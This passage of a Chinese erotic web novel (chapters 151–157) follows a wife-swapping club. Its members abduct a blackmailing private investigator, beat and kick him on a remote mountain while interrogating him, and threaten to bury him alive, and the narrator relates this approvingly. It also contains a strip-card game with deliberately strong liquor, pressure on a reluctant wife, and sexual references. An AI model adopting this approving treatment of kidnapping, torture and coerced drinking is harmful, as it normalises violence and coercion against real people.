【欲海沉沦:一个换妻经历者的良心忏悔】(151-250)作者:风中枯叶[人妻熟女]

 
  作者:风中枯叶
字数:188948

第一五一章幕后黑手3

看着高玥的背影,估计她今天喝了不少,脸蛋红扑扑的,走路有点歪歪斜斜。
每走一步都替她捏把汗,踩着恨天高万一没走稳,很容易崴到脚,直到她坐回那
桌,我才放松下来。隔桌还在欢笑,幸好没引起她怀疑,也没被廖云松发现。霍
立翔和钱昊就位,苏峰几人有些疑惑的看着我,我示意没事。

苏峰和几人对了下眼神,都点头。苏峰喊道「准备行动。」

我暗自移了位置,离廖云松更近,方便到时动手。

眼看苏峰几人越来越近,包围圈在紧缩,我的心越跳越快,体内的热血开始
沸腾,隐隐有些激动。妻子很紧张,娇躯微微颤抖,我对她笑了下,让她安心。

不知是谁暴露出了敌意,被廖云松察觉,还是他认出了我们中的某人。眼见
即将围死,他突然踩着沙发,翻到另一张桌,慌不折路向夜场后门窜去。

沿途打翻不少桌上的酒水,引得女人惊呼着躲避,男人则很多咒骂,还有冲
动的捡起酒杯,酒瓶就朝着廖云松扔。不得不说廖云松运气真好,五,六个酒杯,
一个也没砸中,只有一个酒瓶擦着肩膀飞了出去。

「抓住他。」廖云松刚起身,苏峰就看出他意图,大喊着加速冲过来。

我当时起身去拉,可隔这两个沙发靠背,根本拉不到。闪上过道,跟在后面
几米追上去。今晚我是下了决心,无论如何也要把他逮住。

事情发生的很快,很多人还没弄明白怎么回事,我们就追着廖云松出了大厅,
跑到了包房的直道。

这小子跑的比兔子还快,原本我只落后他几米,上了直道后,瞬间被甩出十
米远。尼玛都可以去跑百米赛了,训练两年说不定还能拿快金牌回来。

苏峰的速度比我快多了,没几下就追上我,在耳麦中喊道「周仓,钱昊,你
们绕到后面堵他。」

周仓两人立刻调转方向,从侧面跑了过去。

苏峰很快超过我,当时感觉真他玛丢人,想一头撞死,幸好霍立翔这个书生
也和跟我差不多。咬紧牙关发力狂奔,才勉强跟上。

廖云松在前面就像头发疯的蛮牛,横冲直撞,路上排的整齐,去包房陪酒的
女子,吓的东躲西藏,不过这也为我们开了条道。

很快追到太阳城的后门,廖云松想也没想就窜了出去。苏峰离他不远,只有
我远远吊在后面,望着两人的背影心叹。「他出后门了,周仓你们到后门停车场
等着。」苏峰喊道。

「知道了。」周仓传回。

我和霍立翔冲出后门,看到廖云松和苏峰已经跑出二,三十米远。我追的上
气不接下气,累的个狗吃屎,要不是心里有股气撑着,早他妈倒地上了。霍立翔
也好不到哪儿去,这才没全力奔跑几百米,脸色就有点发青了。我们咬着牙继续
追,脚却有点发软了。

「抓住他,出来了。」苏峰在耳麦中突然喊。

「他看到我们转弯回跑了,堵住他。」钱昊的声音传来。

远远看到廖云松调头回来,不过面对苏峰,左边是一排矮灌木花草,他只能
转弯横向右跑。

「陈磊,霍立翔,他朝着你们来了,快拦住他。」苏峰跟着转弯喊道。

我和霍立翔斜插上去,距离越来越近。霍立翔率先出手抓廖云松,但被他藉
着奔跑的势头一甩,霍立翔趔趄着冲出去,差点摔倒在地。

怎么也没想到,这廖云松体力这么好。只剩我一个人,如果让他混进大路上
的人流中,就更难逮到他了。我早就发过恨,不能让他在逃了,咬了咬牙,豁出
命的跳起来,纵身扑上去,死死抱住。

奔跑中的廖云松掌握不到平衡,拖着我跑了两步后,终於被扑倒在地。落地
时我的手肘撞地面,像是被电击了一下,瞬间麻木半边身体。廖云松拚命挣扎,
不时用手肘打我。我顾不上疼痛,死死抱住他,就是不撒手。

苏峰几人终於赶上来,七手八脚的把廖云松压制住。我脱力的躺在地上,感
觉天旋地转,有点缺氧。他们要是在不赶上来,恐怕就抱不住这头蛮牛了。

「怎么样?没事吧?」苏峰问。

我拚命喘息,摆了摆手,话都说不出来。霍立翔也和我差不多,满头大汗的
坐在地上。

「你们是什么人?凭什么抓我?」廖云松被钱昊和周仓压住,还是不老实,
在地面大叫起来。

「你他妈还不知道什么事?」钱昊利用优势,啪的一巴掌赏在他头上。


第一五二章幕后黑手4

廖云松在地上惨叫道「救命,绑架啊!」

「在乱叫老子废了你。」钱昊对廖云松威胁李秋月很不满,说话时又重重赏
了一巴掌。

附近围观的人渐渐增多,苏峰说「先把他架到车上去。」

钱昊和周仓把廖云松从地上拉起来,廖云松奋力挣扎。

「老实点,老子现在的火可大得很,你要敢打歪主意,等会有你好受的。」
钱昊把廖云松的手反扳住说。「小心别让他跑了。」苏峰叮嘱。

「跑不了。」钱昊说着手上用力向上提起。

廖玉松立刻疼得哇哇的大叫起来,三人向前面的车子走去。

「别看了,我们抓的是个小偷。」苏峰驱散人群说。休息了两分钟,感觉好
了不少,女人终於从后面赶上来。

「老公你怎么了?出什么事了!」妻子看到我躺在地上,率先冲到我身边焦
急道。

「没事,只是跑累了而已。」我安慰说,看到她大惊小怪的样子,心里有些
温暖。

妻子似乎还不信任,把我浑身摸了便,见没什么伤势才松了口气。

「喝口水吧!」叶紫嫣从后面递了瓶矿泉水给我和霍立翔。

「先走吧,这里人太多了,不方便。」苏峰叫道。

我从地上爬起来,走路时脚有点发软。妻子扶着我,见我没事就变了副脸色,
那眼神就像嫌我没用似的。怎么看,怎么不爽,可我现在又拿她无可奈何。

上了车,周仓在耳麦中问道「现在去哪儿?」

沉默了几秒,苏峰才回说「城外嘎子山。」

「好嘞!」钱昊很兴奋。嘎子山是座荒山,林木茂盛,山势陡峭,道路崎岖。
当年政府想把那儿弄成个节假日的观光旅游地,可把路修通到山顶后,不得不放
弃。因为山上即使有路,也蜿蜒盘旋,没车的上山走着费力,有车的开车都害怕。

不知是不是听到嘎子山的名儿吓道了,耳麦中传来呼呼的叫声,估计是廖云
松被堵住了嘴。

「他妈的别乱动,不然老子等会把你从山顶扔下去。」钱昊的叫骂声传来。

启动车子,跟着他们后面出城,开了二十多分钟,终於到嘎子山顶。车子没
他们的好,上山是转来转去很费力,差点开不上来。

「下车,快点。」我和妻子刚下车,就看到廖云松被钱昊一脚从车里踹了出
来。

廖云松躺在地上,手脚已经被绑住,嘴也被封住,不知钱昊是从哪儿弄来的
绳子和胶带。他在地上不停挣扎,惊恐的看着我们。

「今天终於被老子逮到了吧。」钱昊蹲下,在廖云松脸上拍了几下,说完唰
一下撕掉了他嘴上的胶带。

「你们是什么人,小心我报警抓你们。」廖云松疼的龇牙咧嘴,依然嘴硬道。

这些天让我担惊受怕,加上昨晚把我耍的团团转,还有刚才被他趁机打了几
下,现在还有些酸疼,早就不爽了。见他不识趣,火起来素质什么的全丢了,我
冲上前给了他几脚,骂道「狗日地,还嘴硬。」

乡下人骂起人来就是没好话,各位勿怪。

我可是泄愤,当然用了全力,廖云松被踢的蜷缩在一起,不停的乱喊乱骂。
见他还不老实,钱昊泄愤似的对他拳打脚踢,我也加入进去。

女人不忍的把头转向一旁,妻子愣愣的看着我,犹豫着要不要来拉我。她拿
不定注意,求助的看向梁玉珍,梁玉珍轻轻摇了摇头。她还是不忍,纠结的看着
我们。

把廖云松饱揍了一顿,气消的差不多了,我和钱昊才停止。他玛地,原来揍
人也这么累,打完我手都有点疼,背还有点酸。

「老实点,就会少吃点苦头。」苏峰走过来说。廖云松被打的不停咳嗽,喘
息。

霍立翔走过来说「知道我们为什么找上你吧!」

「我怎么知道,你们到底是什么人?」回过气来,廖云松叫屈道。

「女人先会车里去。」苏峰突然转头说。所有女人都有些不解,不过叶紫嫣
跟着站出来招呼道「走吧,我们去车里等着。」

梁玉珍拉着妻子和众女跟过去,妻子本有点担心,不过没有办法。

女人都上车,苏峰转头对着廖云松笑道「鸭子死了嘴壳子硬。」说完毫无预
兆的一脚踢在他腹部。

我和钱昊打时,廖云松杀猪似的惨嚎,苏峰这一脚踢下去,他却没有叫,搂
着腹部脸色发青,张着嘴叫不出来。

「我现在每问一个问题,你说次谎,我就踢你一脚。」苏峰继续绅士般的笑
着说,彷彿刚出手的不是他,反而在跟好朋友交谈般。

看着苏峰笑里藏刀的表情,我的心在那刻也颤抖了一下。


第一五三章幕后黑手5

廖云松起初嘴硬,还死不承认,挨了苏峰两脚后终於老实下来。问什么,说
什么,看来有些人确实是皮痒痒,不打不识相。

「现在说说怎么回事吧!」苏峰点了支烟说。廖云松犹豫了下,见苏峰又要
动手,立刻开口道「两个星期前,有个人找到我,让偷拍一个叫李秋月的女人的
私生活,给的酬劳很不错,我当即就答应下来。我以前都不认识这个女人,他交
给我些简单的资料,上班地址,住址等。我们在公司外等到李秋月,和跟踪前几
天除了上班下班,什么也没拍到。」

「继续说。」见廖云松停顿,苏峰催促道。

「给我支烟行吗?」廖云松苦着脸说,苏峰点了支丢给他,他双手捧住,深
深吸了口继续道「当时我们很恼火,就改变方针,日夜不停的跟在她后面。就在
几天前晚上,我们看到她打扮的很漂亮跟着丈夫出门。担心被怕发现,一直跟的
很远,谁知道在一个别墅区跟丢了。」

廖云松停下又抽了口烟,我和众人对望了一眼,心里都有丝侥倖,至少没看
到别墅内发生的事。他接着说「我们只能守在别墅出口,等了三个多小时,看到
很多车从别墅出来,李秋月的车也在里面,我们就跟在后面。跟到一个会所后,
就进不去了,我们就守在会所外,那些照片就是在哪儿拍来的。」

周仓疑惑道「这么说,你不是来特意调查我们的?」

「不是,我都不认识你们,真是有人找上门请我来的。」廖云松诚恳说。
「请你那个人叫什么?」霍立翔问。

「他什么也不让问,给的价钱又很高,我就没有多问。而且我们这行的保密
协议,顾客也可以不说。」廖云松说。「特徵呢?」苏峰接口就问。

几个人的问题连续不断,逼迫的廖云松额头冒出冷汗,躺在地上有点哆嗦,
他想了想说「四十多岁,有点矮胖,半秃顶。」

「就这些?」钱昊吼道。

「我们只见过两面,只记得这样。」廖云松说。「那你为什么打电话敲诈我
们?」我走近问说。「因为……」廖云松沉吟着说不出口。

「快说,不说实话,老子把你从山上扔下去。」钱昊吓唬道。

廖云松有点害怕,但明白钱昊不可能这么做,依旧脸色为难,欲言又止。

「不能丢下山,被人发现屍体就麻烦了,我看把他活埋算了,在这荒山野岭,
谁也找不到。」周仓帮腔道。

这次廖云松被吓到,慌乱道「我说,我说。」抽了口烟道「我们拍到些照片,
原本通知那个人拿钱,结果那人看到照片后,很不满意,一分钱也没给就走了。
我们白忙活了一个星期,所以才想起试试被跟踪的女人,希望能捞回点本钱,没
想到她真的很紧张,答应付款,后来的事情就这么发生了。」

听到事实真相,不止是我们几个,苏峰也很惊讶。

「你还有同夥是不是?」我突然问。

廖云松紧张的看着我,苏峰等人也疑惑的看着我。

我提醒道「昨晚那个骑单车的?」

「他是我侦探社的助手。」见已经被我察觉,廖云松老实道。

我又问「说说,你昨晚,还有刚在酒吧,是怎么发现我们的?」

廖云松说「昨天我到广场前,我的助手在暗中观察,交易后,他发现一男一
女跟着我,起初还不敢确定,所以我不停变换路线,后来终於肯定。我就加快速
度,在一个花台处脱下衬衣,藉着拥挤的人群摆脱了他们。」

换了口气,廖云松说「刚出广场又遇上你和一个女子,我就假装走慢点,让
暗中助手准备。后来他掌握时机,骑车刮了那个女子,趁你们被吸引注意力时,
我就趁机上了辆早停在那儿的车,安排另一个人吸引你注意力。」

「你说那个穿白衫的老头也是你同夥?」我震惊道。

「嗯,我们这些常在外面跑生活的,认识很多底层的下九流。他年轻时就是
个江湖骗子,当时那包也在他身上。所以我才大胆的引着你们走,即使被逮住了,
钱也不在我身上了。」廖云松点头。我当时说不清是个什么心情,再次被骗的愤
怒?没认错人的喜悦?可最终没找到那个包,看来姜果然是老的辣,不但表演逼
真,准备工作也做的很足。我仔细想了想,很可能是在关门,离开我视线的那一
刹,调换了包裹,把包换成了塑料袋。也只有那几秒,他才离开过我的视线。

苏峰几人听的有点云里雾里,我把昨晚的事粗略讲了遍。苏峰听完后的神情,
似乎有点不解我昨晚没讲,但也没多问。

「那刚才是怎么回事?」我问。

「我认出他和那个女人。」廖云松指着钱昊说。钱昊瞪大双眼,满脸问号。

「前些日子跟踪你们,早就记住你们了。」廖云松说。百密一疏,忘了昨天
廖云松已经见过李秋月,还见过钱昊了。

廖云松抽完最后一口,丢掉烟头说「昨晚我们回去也很害怕,以为惹上什么
人了。所以发现被人跟踪,我也没有在打电话来,你们不找到我,我都不准备在
联系你们,剩余的钱也不会在要了。」

「还有什么没说的?」周仓怒问。

「没了,真没了。我就是求财,即使你们不给钱,我也不会怎么样的,当时
只是气那个人不给钱,想在你们这儿碰碰运气而已。」廖玉松后悔道。

「我们不是为钱来的。」苏峰随口说。「那为什么?」轮到廖云松疑惑。

苏峰没有解释,问道「剩余的照片和底片在哪儿?」

「在我家的床头柜里,钱也基本都在哪儿。他们被你们的阵势吓到,都只收
了点酬劳,不敢要分红。」现在已经没什么好隐瞒,廖云松直说。苏峰从廖云松
身上掏出串钥匙,丢给钱昊说「你去找,顺便联系吴鹏和秦雪。」

钱昊接住钥匙,开车下山。

该问的都问的差不多了,我看了眼躺在地上的廖云松,询问的看向苏峰。

苏峰明白说「他既然有胆子要钱,就让他多受会罪,等会在说。」

我点头,走回车前。夜渐渐深了,山风很大,吹的人有些阴冷,哆嗦。站在
这儿,远远望去,能清楚看到五彩缤纷的城市,像个一丝不挂的清纯少女,诱人
欲望,让人犯罪。

妻子悄悄走到我身边,静静的与我相依在一起,遥望着远方,还有那迷茫的
未来。

等了半个小时,苏峰接到钱昊的电话。说钱找到了,可没什么特别的照片,
最出格就是几张,聚会那天晚上喝酒后,在会所停车场的接吻照。

苏峰不信任的向廖云松确认道「还有的照片呢?」

「没了,真没了。当时就因为这些照片,那个人不满意,所以才没给钱。我
真不知道你们是干什么的,也不知道你们是什么人。」廖云松叫屈说。苏峰有些
拿不准,望向我们。

我们相互看了看,点了点头,选择相信廖云松。毕竟他没拍到什么,知道的
也不多。

苏峰「这事儿,现在就到此为止,希望你今天说的都是实话,也永远忘记这
件事,不然我会在来找你的。你要知道,不管你藏到哪儿,只要你没死,我就能
把你找出来。」

廖云松自认为捡回条命,不停望着我们点头道「这事儿结束了,结束了。」

没有在去理会廖云松,苏峰在电话中让钱昊几人就这样,直接带着照片会老
地方。

周仓把廖云松带上车,我们一起回城,在城外把廖云松的手解开,把他放下
了车。

回到酒吧,看了照片,确实没特别的照片。看来是我们自乱阵脚,被自己吓
了跳,不过这事关重大,由不得我们不小心翼翼,疑神疑鬼。

苏峰向李秋月说了,那个雇廖云松的人的特徵。李秋月因为工作的关系,平
常接触的人太多,一时想不起来,只能让她回去好好想想。

虽然那个神秘人也是什么都不知道,但苏峰还是很在意,让我们不用担心,
他暗中去查查。

让所有人欢喜的是,不止找回了照片和钱,还证明了我们里面,没人是内奸。

这事总算告一段落,虚惊了一场,也给我们提了个醒,以后行事要更加小心。
毕竟现在的媒体,记者随处都可能碰上。

……

第一五四章俱乐部的欢庆1

事情解决,心中的担子终於能放下。晚上睡的特别踏实,隔天下午上班时,
收到叶紫嫣群发的短信,周六晚上俱乐部欢庆。还搞这种花样,虽然不解,但有
点期待。此刻不敢放太多心思在哪里,今晚就是岳父生日,要打起精神应付这边
才是。

下班回家,妻子已准备好,等我回来就可以出门了。她今天穿的很漂亮,可
我不是很满意,让她换了套小洋装,从新画了淡妆,直到光彩照人,变得像个小
公主才满意点头。我也换了套自认为最帅气的衣服,皮鞋擦了又擦,感觉准备妥
当,才抱着那副花了半个月工资的小叶檀木象棋出门。以前回家妻子总是欢天喜
地,但今天她有些紧张,在路上就有些不知所措。我安慰她不会有事,一切都会
好的,不管发生什么,我都会站在她身边,她才安稳了一点。岳父岳母喜欢清静,
他们住的地方在一个混合式别墅区,里面花园,水池,假山什么的都有,比我那
栋小区的环境好太多了。

过了门口的安检,到岳父家楼下,天已经渐渐黑了。他们二老住的是栋小型
别墅,妻子的大哥,大舅哥送给他们的。

别墅内已亮起灯火,车刚熄火,门就开了。岳母和外甥女就迎出来,妻子原
本有些惊慌的脸,很快变幻出笑意,扑进了岳母怀里。岳母搂着妻子,不停上看
下敲,念叨着瘦了,憔悴了。妻子回说没事,藉故这些天工作累,过段日子就好
了。岳母心疼的劝她觉得累就请个长假,好好休息休息。

两母女就这么站在门外聊天,把我晾在一边。还好岳父觉得站在门外不是回
事,在屋内招呼,岳母才回过神来,拉着我和妻子进门。一个劲的说我们也不来
看看,想我们之类的话。我借口最近工作有点忙,一直想来,可抽不出时间。外
甥女很粘妻子,拉着妻子的手,一口一个小姨叫的热乎。妻子不知从哪里变出个
女孩喜欢的小玩么儿,送给她,她欢喜摆弄着。

进屋菜已经上桌,似乎在等着我和妻子。圆桌边一家人都到齐了,大舅子,
大嫂,小舅子,嫂子。外甥女欢喜的跑回大嫂身边,献宝似的把手里东西给她看。

「好啦,家长里短的等会在唠,先吃饭,先吃饭,不然菜冷就不好吃了。」
见人到齐,岳父招呼道。

可能是当年参过军,打过仗的缘故,岳父一直保留着军营作风。在这家里,
他是一家之主,他的话就像圣旨,从来都是说一不二。在儿女,外人面前,岳母
也不敢更他争,只能私下跟他絮叨几句。

岳母也配合着发话,招呼所有人坐下。几年相处,我瞭解岳父的作风,陪着
他们一起坐下来。席间每个月都给岳父敬了杯,长命百岁,身体健康之类的祝词
说了不少,不过只有外甥女和妻子的祝福,他才笑的最开心,连着喝了好几杯。

岳父的酒量是多年练就下来的,我陪妻子第一次进这个家门就领教了,喝的
回家整整吐了一夜,胃里翻腾了三天,永远记忆犹新。偶尔听他叨念,当年翻雪
山入朝时,个个都是黄布鞋,一件单薄衣裳,冻伤了不少人,他就是靠着一壶酒
撑过去的。

一顿饭在还算愉快的气氛下吃完,女的陪着岳母收拾桌子,男的围坐在沙发
前聊着近况。这也是岳父传承下来的规矩,下地扛活归男人,做饭洗衣归女人,
即使到现在依然被严格的执行着。

两个舅子在家从不干家务,而妻子从小就要跟着岳母学。所以现在不管洗衣
做饭,任何家务她都打理的井井有条,这些我偶尔心里还要感谢下岳父家的传统
。确实是人多力量大,家里四个大女人,一个小女人,聊会天的功夫,就全部收
拾妥当。一家人围坐在沙发上,拉着家常。

「知道爸平常喜欢下棋,徐磊前些日子跟我跑了几家店,为你挑了副。」妻
子拿出我们买的檀木象棋,送给岳父说。家里就妻子一个女儿,岳父岳母从来就
很疼惜她,把她当成掌上明珠。为这事,当年我娶她还费了不少周折,最后她一
再坚持,二老才咬牙同意。

只要是妻子送出的礼物,不管是什么岳父都会喜欢,他高兴的接过棋盒,连
连笑道「好,好,前些天跟老王下棋,正好摔坏了一颗子,这几天正瞅着说去从
新买一副呢。」

「怎么样?我说的没错吧,女儿女婿还是挂着你的。」岳母帮腔说。……


第一五五章俱乐部的欢庆2

岳父听后笑的开心,不停点头。「怎么这么巧,你们早跟我沟通下,我就换
个礼物,不买撞了。」坐旁边的小舅子突然,说完抱出个白玉盒子,递给岳父说
说「前段日子,我去海南跟一个客户谈生意,见到这副象牙棋,就顺手给爸买回
来了。」

岳父打开玉盒,里面的棋子颗颗雪白,晶莹剔透,看一眼就知道价值不菲。
两幅象棋摆在一起,我和妻子送的檀木象棋,就显得普普通通,相形见肘,像是
瞬间在公主面前变成了灰姑娘。

不知是不是顾及我的脸面,岳父把玉盒盖好说「你就喜欢买这些虚有其表的
东西?这个拿在在手上,我下棋的时候敢摔吗?只能摆哪里好看,花些冤枉钱有
什么用,拿回去。」

我和妻子脸色都有些尴尬,我强颜笑说「爸,这怎么也是小舅子的一番心意,
你就收下吧!我也就这点能耐,如果我有小舅子的本事,我也给你买好副好棋。」

「你可千万别跟他学,不然我以后也不待见你。」岳父严肃说。见气氛有点
变味,岳母出来打圆场说「哎呀,你个老头子,今天是高兴的日子。儿子孝顺,
好不容易从大老远带点东西回来孝敬你,不领情就算了,怎么说变脸就变脸。」

「就是啊,爸,今天是你生日呢。」妻子也黏糊上去。

大舅子匆忙从旁边拿出个瓷罐,递给岳父说「爸,你下棋的时候不是爱喝点
茶吗,我托朋友从太湖带了点碧螺春回来,你泡着尝尝。」

知道都在讨好,岳父不好把气氛弄的太僵,借坡下驴的接过了瓷罐。

虽然面上没表现出什么,不过看到两个舅子送出的东西,我心里还是有些不
是滋味。大舅子是家上市公司的高管,小舅子当年带着钱出去闯荡,现在自己的
公司已经做的很大了,比起他们来,我这个小职员算是没用了。

妻子似乎能体会到我的情绪,不着痕迹的往我身边靠了靠,紧紧挽着我的手
臂。我轻笑,示意没事。

气氛眼看有点好转,小舅子突然问我「你们那房子的事怎么样了?还清没有?」

「没呢,在过两年就差不多了。」我有些苦涩道。

「你这人就是犟,我们好歹是一家人,你点个头,我们哪有不帮忙的道理。」
小舅子如无其事的说。「我们自己会有办法的。」知道我的心情,妻子抢先不答
应。

知道是我的关系,小舅子继续望着我。

「好意我心灵了,不过我们还没到那种地步。」我勉强笑说。「你就不能收
起那点性子?我是担心这个宝贝妹妹,这才多久不见,就瘦了这么多。」小舅子
坚持说。我看了眼妻子,她立刻摇头,我也坚持说「你们不用担心,我们会好起
来的。」

「现在她还能工作,等有了孩子,她只能待家里。你一个人要还房贷,还要
照顾家里几张嘴,这样负担得起吗。」小舅子有些不满。被刺中要害,我无力回
击。现在除去每月的房贷,我和妻子生活过的算是很拮据,各方面压力也不小。
为此我们只能决定,等还清房贷,经济充裕后才要小孩。

我苦笑说「我知道你是好意,到时我会想办法,可以让我爸妈过来照顾她。」

「那怎么行,我看还是接回这儿来,反正爸妈没什么事,让他们照顾,能知
道我妹喜欢吃什么。」小舅子否定说。房贷的事岳父岳母还不表态,不过这件事,
他们附和的点头支持。

我看了看二老,有些为难,不知如何化解。

妻子站出来说「现在不是还没怀上,操那么远的心干嘛。」

「你也老大不小了,是时候该要孩子了。你们不急,亲家那边不急吗?」岳
母教训妻子道。

「是我不想要。」妻子说。岳母白了妻子一眼,不过拿她没办法。

小舅子叹了口气道「你要死撑着没关系,不能累了我妹妹。」接着抱怨似的
说「让你到我公司,你也不肯,来了工资我起码可以给高点。」

我当时的心很酸,但面上依旧笑着道谢说「我回去会好好考虑。」

小舅子和妻子年龄相仿,他跟岳父岳母一样疼妻子,甚至有过之。当年取妻
子,他比二老反对的更厉害,要不是妻子死活不理睬,最终二老点头,我恐怕过
不了他那一关。这些年他也总直盯着我,让我每次和他谈话时,都感觉被一片天
压着。

「好啦,好啦,这些事以后在说吧!」岳父适时出来阻止,这个家里似乎只
有他,能稍稍理解一点我的心情。

岳父开口,所有人都只能熄声,即使小舅子不情愿,也只能忍着。岳父打开
我送他的檀木棋盘,招呼我陪他下一盘。有件事能让我暂时逃避,我当然愿意。
见没事了,几个女人围在一起唠家常,两个舅子也私下聊起来。

摆开棋局,陪岳父下过不少次,每次都是输。不敢想着赢他,只为了不输的
太惨,私下我也特地钻研过。可几年下来局势还是没有扭转,但也累积了不少经
验。

这一局就渐渐杀的有些起色,到后半局,双方的子都被吃了将近一半。我一
卒一马过河,把岳父的车围在帅前。原本用马跳掉他的车,然后用卒将军,就能
稳赢。可我心里犹豫后,还是决定不吃,跳马将军,被他坐帅。不但没将死,反
而被他支仕,撤炮,吃了我的马。卒也很快被车吃掉,瞬间没了还手之力,被他
几棋将死。

「男子汉大丈夫,要顶天立地,当杀则杀。畏首畏尾,成不了大事。」岳父
放下棋子,喝着茶说。


第一五六章俱乐部的欢庆3


从岳父家出来,夜已渐深,心里一直浮现那句话。虽然输的有些委屈,不过
理没错。朦朦胧胧了这么多年,是该想想我们的未来。不能老这样不思进取,不
然某天孩子降临,会突然间手足无措。

「你想什么?」回程的路上,妻子问。

「没什么?」不想让她担心,我摇头。「我哥的话你别放心上,他就是那样
的人,什么话都憋不住。」妻子关心道。

我笑着答应,可心中已经起了波澜。那就像湖面刮过了狂风,如何能在平静
。不知妻子是不是想慰藉我,回到家她极力挑逗。我被挑起欲望,但她的下身才
刚开始好转,我不想再次伤害她,她感动的卖力帮我吸了次。

那晚等她睡着后,我想了很多。接下来的日子拚命工作,天天加班,赶上面
交代的案子,吃饭睡觉都在想,像失了魂儿般。放假就躲在房里,对着电脑捣鼓
推广流程,几天的努力,也算有了不小进展。

妻子突然走进房间,打断我的思绪。看到她今天打扮的很漂亮,我有些疑惑,
以为是什么重要日子。在她的提醒下才想起今天星期六,晚上要去参加俱乐部欢
庆。每日埋在工作中,连日子都忘了。

她隐约察觉到我这些天的变化,关心我怎么了,我笑着说没事。怕她追问,
走过去搂着她,转移话题问今天穿什么好。她躲避我作乱的手,帮我挑了套衣服。

已经来过四次,每次站在别墅门口的感觉都不一样。今天觉得这里像是我的
避风港,居然忘记了家庭,忘记了工作,全身都轻松下来。虽然知道这只是暂时
的温存,但这一刻我只想尽情放纵,享受这难得的自由。

不知是我心情的转变带动了妻子,还是她原本就对这而有了些许期待,她脸
上也多了点放松的喜悦。

我们刚进屋,梁玉珍就迎上来,把妻子拉到了女人堆中。那件事结束,所有
人似乎都放松下来,端着酒杯畅谈,不是传来嬉笑。这儿又恢复了熟悉的热闹,
喜悦,暧昧的气氛。

今天来的有些早,人还没到齐,现场只有我,苏峰,霍立翔,周仓夫妇。我
们几个男人围在一起,喝酒聊天。

陆陆续续,吴鹏,钱昊夫妇也到来。经过几天休息,李秋月的精神好了不少,
穿条白色碎花长裙,拿着女士手包,亮银色高跟鞋,气质也展露出来。

一直没仔细观察过她,五官端正,身材姣好,胸前虽没有梁玉珍,高玥的大
器,但比例极好,适合各类人群。不过最惹人注目的,还是她左眼尾的一颗小黑
痣,那颗痣在女人眼角,有人称为春痣,传言有春痣的女人能魅惑众生,而且骨
子里都很骚。这种说话我此刻能理解一点,因为当女人五官白皙,只在眼角生颗
痣时,不管她说话,还是一抿一笑,男人都会不知觉的把目光转向哪里,时而注
意到女人眼含秋水,秋波流转,很容易被她迷惑。

也有人叫它桃花痣,因为眼尾是妻妾宫,这颗痣使女人永远无法安定,看见
有魅力的异性,就完全没有自制力。

随着人越来越多,气氛也渐渐活跃,几杯酒下肚后,人也更放的开。女人那
边不时传来打闹,娇骂声,妻子也慢慢融入那个氛围中,和它们一起开怀。

很快,又有两对夫妻到来。苏峰为我介绍,其中一对,看起来都只有二十四,
五岁,男的叫郭祥,女的叫唐薇。生的男才女貌,穿着打扮很时尚,这么年轻的
夫妇,应该结婚不久,正处在发热期才对,我很不明白他们为何会加入俱乐部。

另一对成熟不少,估计在三十岁上下,男的叫秦伟,女的叫赵诗雅。秦伟看
起来文质彬彬,和霍立翔是一个风格。但感觉略有不停,霍立翔属於保守类,而
他有点锋芒毕露。赵诗雅则很有点文艺气息,像是个会经常捧着书,在窗前一站
就是一上午的女人。

正当我们互相交谈熟悉,叶紫嫣走出来,宣佈说有其余两对今晚有点事,来
不了,随即宣佈欢庆开始。

不知是不是前段日子的压力太大,今晚玩的很疯,开放了不少。他们又拿出
扑克牌,玩起了抽牌游戏。

妻子来过几次,但从没见过这个游戏。听我说完规则后,满脸羞红,特别是
听到要当众脱衣,甚至在人前假玩性游戏时,更欲言又止,似乎很为难。全场都
在等着我们,我只能小声劝说不一定会输那么多次。已经走到这一步,她也知道
没法回头,苦着脸喝了杯酒壮胆,才勉强同意。

前几把我和妻子没抽到八,不过好在也没抽到A。看着别的夫妻喝酒喝得难
受,还要强行一口气喝下一杯酒,妻子也慢慢融入,兴奋起来。

特别吴鹏和秦雪两人,才短短几把就喝下两杯。那张原本严肃,冷艳的脸,
也抵不住酒精的侵袭,浮起两团红晕,有了些醉态。不时抿下嘴角,挂着若有若
无的笑意。

不过好运不长,抽了十几把,轮到妻子时,终於抽到张A。全场的夫妻几乎
都喝过酒了,只有我们还是第一次抽到,所有人像过新年似的欢呼。

看了这么久的好戏,妻子也放开了,怯生生的望着我,我只能郁闷的带头。
仰头咕哝咕哝喝起来,入喉第一口时差点喷出来。上次欢迎我和妻子时,我还不
确定,今天我终於敢肯定。餐车上放的不止一种酒,聊天时,我们喝的都是爽口
的低度酒,但受罚的酒全是高度烈酒。

忍着喉哝传来的辛辣,强行把那杯酒灌下去,浑身都开始燥热,有点像是被
泡在酒缸中,酒顺着毛孔侵入身体,让人无法抵挡,也无法拒绝。终於明白其余
人的感受,也知道为什么他们才喝一两杯,就露出醉态,失去自制力,这酒分明
是故意准备的。

一杯酒,就让我有点飘飘浮浮,头脑迷糊。担心妻子别被呛着,我叮嘱她酒
很烈,让她有点心理准备。

见我喝完,所有人鼓掌,怂恿妻子快喝。

妻子抿着小嘴,皱着眉头,慢慢的尝试。酒下喉一点,就看到她像是被火炭
烫到,浑身一哆嗦,眉头皱的更紧了。知道规矩,杯子不能离口,不然就要受罚,
只得苦着脸继续一点点尝试。她每喝一口,都像被人重重戳了下,脸上的表情,
身体的反应,我都能感觉到她很难受。


第一五七章俱乐部的欢庆4

酒还没喝完,妻子的脸一点点浮起红晕,我亲眼见证的那片红晕从无到有,
有点惊喜,惊奇的感觉。酒只喝下一半,她就有点受不了了,嘴像是张不开一样,
不停有酒顺着嘴角滴落。

「小心点,不然要受罚哦。」梁玉珍唯恐天下不乱,叫起来。

妻子幽怨的瞄了眼冯玉珍,立马放缓酒杯,不敢在偷懒。杯中酒慢慢见底,
只此一杯,她的脸颊就绯红,滚烫,像是发烧般。

「好,继续,继续。」梁玉珍永远是那个出头,活跃气氛的角色。

越玩场面越火爆,几杯黄汤下肚,不管是言语,还是动作,都有点忘形,女
人也不例外。一些荤色笑话不时传来,不少女人也加入讨论,有谁攻击自己的丈
夫时,还会反唇相战。

随着局数增多,有两队夫妻已喝下三杯酒。今晚钱昊和李秋月的运气最差,
钱昊只脱了件外套,李秋月就惨了,只穿了件白色碎花长裙,一次就被脱的见了
底。而且输掉四次中,有三次是她抽到的,气得她不停跳脚,有气没处发。面对
这个场景,妻子还有些无法适应。看到李秋月只穿着底层,全身雪白肌肤暴露在
众人视线中,她紧缩着身子,似乎脱光的是她般,也可能是她脑中正浮现,自己
等会也脱成那样该怎么办。男人就不一样,目光放肆,毫无遮拦盯着李秋月,上
